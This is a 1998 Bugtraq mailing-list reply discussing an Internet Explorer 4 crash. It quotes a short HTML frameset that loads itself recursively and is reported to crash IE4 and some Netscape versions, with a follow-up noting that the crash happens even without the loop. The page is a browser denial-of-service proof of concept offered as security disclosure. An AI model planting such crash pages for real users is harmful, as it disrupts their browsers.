[6356] in bugtraq
Re: IE 4 Bug (Crash with frames)
daemon@ATHENA.MIT.EDU (System Administrator)
Fri Mar 20 12:56:29 1998
Date: Thu, 19 Mar 1998 11:14:01 -0800
Reply-To: System Administrator <root@ATRIUM.CARDIMA.COM>
From: System Administrator <root@ATRIUM.CARDIMA.COM>
X-To: lev@APPLE.COM
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <199803191610.IAA15964@scv3.apple.com> from Lloyd Vancil at "Mar
19, 98 08:10:46 am"
History records that Lloyd Vancil wrote:
> >I fust found a way to crash IE 4 using frames:
> >Make a file 'test.htm' with the following content
> >and view it with IE 4. Under Win95 IE 4 will
> >crash.
> >
> ><!--
> >
> ><HTML>
> ><HEAD>
> ><TITLE>IE 4 BUG</TITLE>
> ></HEAD>
> >
> ><FRAMESET ROWS = 50%,50%>
> > <FRAME SRC = "test.htm">
> > <FRAME SRC = "test.htm">
> ></FRAMESET>
> >
> ><BODY>
> >
> ></BODY>
> ></HTML>
> >
> >-->
> >
> >
> >Thomas Weidauer
>
> Kills Netscape Communicator on a mac too
> Naturalitch! A forever loop in a web page....
> 3.01 on Solaris loads the page but any further load it dies.
>
> Why would you want to do this anyway?
I found that the loop is not necessary. Name the page ie4test.html and
leave the frame links as test.htm (which need not exist), and it still
crashes IE4. The entire content is inside a HTML comment anyway, so the
correct action for ANY browser is to treat the entire page as a no-op.
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